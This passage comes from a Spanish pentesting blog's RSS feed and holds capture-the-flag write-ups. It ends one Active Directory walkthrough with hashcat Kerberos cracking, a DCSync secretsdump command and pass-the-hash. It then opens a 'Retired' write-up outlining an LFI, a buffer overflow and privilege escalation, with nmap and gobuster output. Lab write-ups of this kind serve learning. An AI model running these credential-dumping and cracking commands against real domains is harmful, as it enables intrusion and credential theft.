&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Crackeamos el hash y obtenemos la password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hashcat -m &lt;span style="color:#ae81ff"&gt;13100&lt;/span&gt; ethan.hash /usr/share/wordlists/seclists/rockyou.txt --&amp;gt; limpbizkit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="dcsync-y-escalada-final"&gt;DCSync y escalada final&lt;/h3&gt;
&lt;p&gt;Con Ethan hacemos &lt;strong&gt;DCSync&lt;/strong&gt; para obtener los hashes del dominio.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;impacket-secretsdump -outputfile administrator_hashes -just-dc administrator/ethan@10.129.75.64
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80c5-b3ba-ce95d17f8374.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Finalmente hacemos &lt;strong&gt;PtH&lt;/strong&gt; con el hash de Administrator y quedamos &lt;em&gt;pwned&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8061-a235-d4642ed67b2b.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Retired (Medium)</title><link>https://synacklabs.github.io/posts/retired/</link><pubDate>Fri, 16 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/retired/</guid><description>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8060-8892-ef83924f719e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina ha sido de las más duras que he hecho. La parte de explotación se apoya en un &lt;em&gt;stack-based buffer overflow&lt;/em&gt; y, siendo sinceros, no soy muy fan del &lt;em&gt;buffer overflow&lt;/em&gt;, así que me obligó a ir con mucho más cuidado de lo normal.&lt;/p&gt;
&lt;p&gt;A grandes rasgos, la intrusión va así:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enumeración web y descubrimiento de un &lt;strong&gt;LFI&lt;/strong&gt; en &lt;code&gt;page=&lt;/code&gt; usando &lt;code&gt;php://filter&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Bypass del filtro de &lt;em&gt;path traversal&lt;/em&gt; por cómo usan &lt;code&gt;str_replace&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Descubrimiento de un servicio interno que procesa licencias y que es vulnerable a &lt;strong&gt;BOF&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Explotación con &lt;strong&gt;Ret2Libc&lt;/strong&gt; (por NX) y obtención de &lt;em&gt;reverse shell&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Escalada a &lt;code&gt;dev&lt;/code&gt; abusando de un &lt;strong&gt;backup service&lt;/strong&gt; con &lt;code&gt;zip&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Escalada a &lt;code&gt;root&lt;/code&gt; abusando de &lt;strong&gt;binfmt_misc&lt;/strong&gt; mediante un helper con &lt;code&gt;cap_dac_override&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-inicial"&gt;Enumeración inicial&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.4p1 Debian &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; (protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3072&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;77&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;57&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bf&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;62&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;76&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ea&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;81&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;e4&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;69&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkfdfWGso2b9nD1yYlcq35Rrc1OCqcabTsuKoIlCXMayYEXqqWVohwu+rXyX06gzGR4EYp/fvb1BUo7n819iCzKhFjf2W2RHWfBne9TpRShBtQJ95oQhM6djuEahYzOTWiO1wTYqMdZQwANin/HXPIu2i+KoeeeOPL6g0qE2e4pMKI+BDo4SteVObt3ssP5NLTmNOSqVqKoFnUTNNnyqlwcbO67tRVINku2Kc6LH/HV0XBGjVqMmwfz3MokaBmAqTpn2td6x7CKcPRfiRgIB5AqkePgqHZl8Wn+TdsG6gziPJ6+NVcvadMJ2ErsJLuchds0ZNToG3P879UTFUrF9Qn+Z0TiTN7X0FgbOGG6u7iaN/r4NP0t2qmp2rS+se+Q/j21T4jBFJOXxqjRWQvGfayIKic4Enkxwv5WvAd3uNm9R/WEIxf7Ol0eMK39fUdfElOTViPNOyW/vT6gA9DxcBZM/X1xPgC1XqNKs0mdA1cZY34BQVffDQ2carfW9JzBb8=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; cb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;2a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;75&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;94&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;dd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ba&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;28&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;5b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d2 (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKT7918Wsxx40zkqP9APcaPrC5DXZf5yJdrTvgykTvijs34VtZ+QnelzftO5kayBMgNgnOe1e6lj/VKK4l+38OU=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a8&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ae&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;66&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;6b (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOvB+7fNvrbSjtwto1GCaTWqRasmSlmx+oz5dveP8m5/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Agency - Start Bootstrap Theme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_Requested resource was /index.php&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;page=&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 556F31ACD686989B1AFCF382C05846AA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET HEAD POST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/f635da96-fd19-4a1e-9a45-e863f4a7c6b0.png" alt="Imagen del post"&gt;&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8060-8892-ef83924f719e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina ha sido de las más duras que he hecho. La parte de explotación se apoya en un &lt;em&gt;stack-based buffer overflow&lt;/em&gt; y, siendo sinceros, no soy muy fan del &lt;em&gt;buffer overflow&lt;/em&gt;, así que me obligó a ir con mucho más cuidado de lo normal.&lt;/p&gt;
&lt;p&gt;A grandes rasgos, la intrusión va así:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enumeración web y descubrimiento de un &lt;strong&gt;LFI&lt;/strong&gt; en &lt;code&gt;page=&lt;/code&gt; usando &lt;code&gt;php://filter&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Bypass del filtro de &lt;em&gt;path traversal&lt;/em&gt; por cómo usan &lt;code&gt;str_replace&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Descubrimiento de un servicio interno que procesa licencias y que es vulnerable a &lt;strong&gt;BOF&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Explotación con &lt;strong&gt;Ret2Libc&lt;/strong&gt; (por NX) y obtención de &lt;em&gt;reverse shell&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Escalada a &lt;code&gt;dev&lt;/code&gt; abusando de un &lt;strong&gt;backup service&lt;/strong&gt; con &lt;code&gt;zip&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Escalada a &lt;code&gt;root&lt;/code&gt; abusando de &lt;strong&gt;binfmt_misc&lt;/strong&gt; mediante un helper con &lt;code&gt;cap_dac_override&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-inicial"&gt;Enumeración inicial&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.4p1 Debian &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; (protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3072&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;77&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;57&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bf&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;62&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;76&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ea&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;81&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;e4&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;69&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkfdfWGso2b9nD1yYlcq35Rrc1OCqcabTsuKoIlCXMayYEXqqWVohwu+rXyX06gzGR4EYp/fvb1BUo7n819iCzKhFjf2W2RHWfBne9TpRShBtQJ95oQhM6djuEahYzOTWiO1wTYqMdZQwANin/HXPIu2i+KoeeeOPL6g0qE2e4pMKI+BDo4SteVObt3ssP5NLTmNOSqVqKoFnUTNNnyqlwcbO67tRVINku2Kc6LH/HV0XBGjVqMmwfz3MokaBmAqTpn2td6x7CKcPRfiRgIB5AqkePgqHZl8Wn+TdsG6gziPJ6+NVcvadMJ2ErsJLuchds0ZNToG3P879UTFUrF9Qn+Z0TiTN7X0FgbOGG6u7iaN/r4NP0t2qmp2rS+se+Q/j21T4jBFJOXxqjRWQvGfayIKic4Enkxwv5WvAd3uNm9R/WEIxf7Ol0eMK39fUdfElOTViPNOyW/vT6gA9DxcBZM/X1xPgC1XqNKs0mdA1cZY34BQVffDQ2carfW9JzBb8=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; cb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;2a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;75&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;94&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;dd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ba&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;28&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;5b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d2 (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKT7918Wsxx40zkqP9APcaPrC5DXZf5yJdrTvgykTvijs34VtZ+QnelzftO5kayBMgNgnOe1e6lj/VKK4l+38OU=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a8&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ae&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;66&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;6b (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOvB+7fNvrbSjtwto1GCaTWqRasmSlmx+oz5dveP8m5/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Agency - Start Bootstrap Theme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_Requested resource was /index.php&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;page=&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 556F31ACD686989B1AFCF382C05846AA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET HEAD POST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/f635da96-fd19-4a1e-9a45-e863f4a7c6b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En la web, por defecto no hay mucho, así que toca hacer fuzzing.&lt;/p&gt;
&lt;h3 id="fuzzing-y-descubrimiento-de-betahtml"&gt;Fuzzing y descubrimiento de &lt;code&gt;beta.html&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Encontramos un &lt;code&gt;beta.html&lt;/code&gt; en el fuzzing de directorios.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gobuster dir -u
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.71.227
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -w /usr/share/dirb/wordlists/common.txt -x php,html -q
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/assets (Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;301&lt;/span&gt;) [Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;162&lt;/span&gt;] [--&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.71.&lt;span style="color:#ae81ff"&gt;227&lt;/span&gt;/assets/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/beta.html (Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;) [Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4144&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/css (Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;301&lt;/span&gt;) [Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;162&lt;/span&gt;] [--&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.71.&lt;span style="color:#ae81ff"&gt;227&lt;/span&gt;/css/
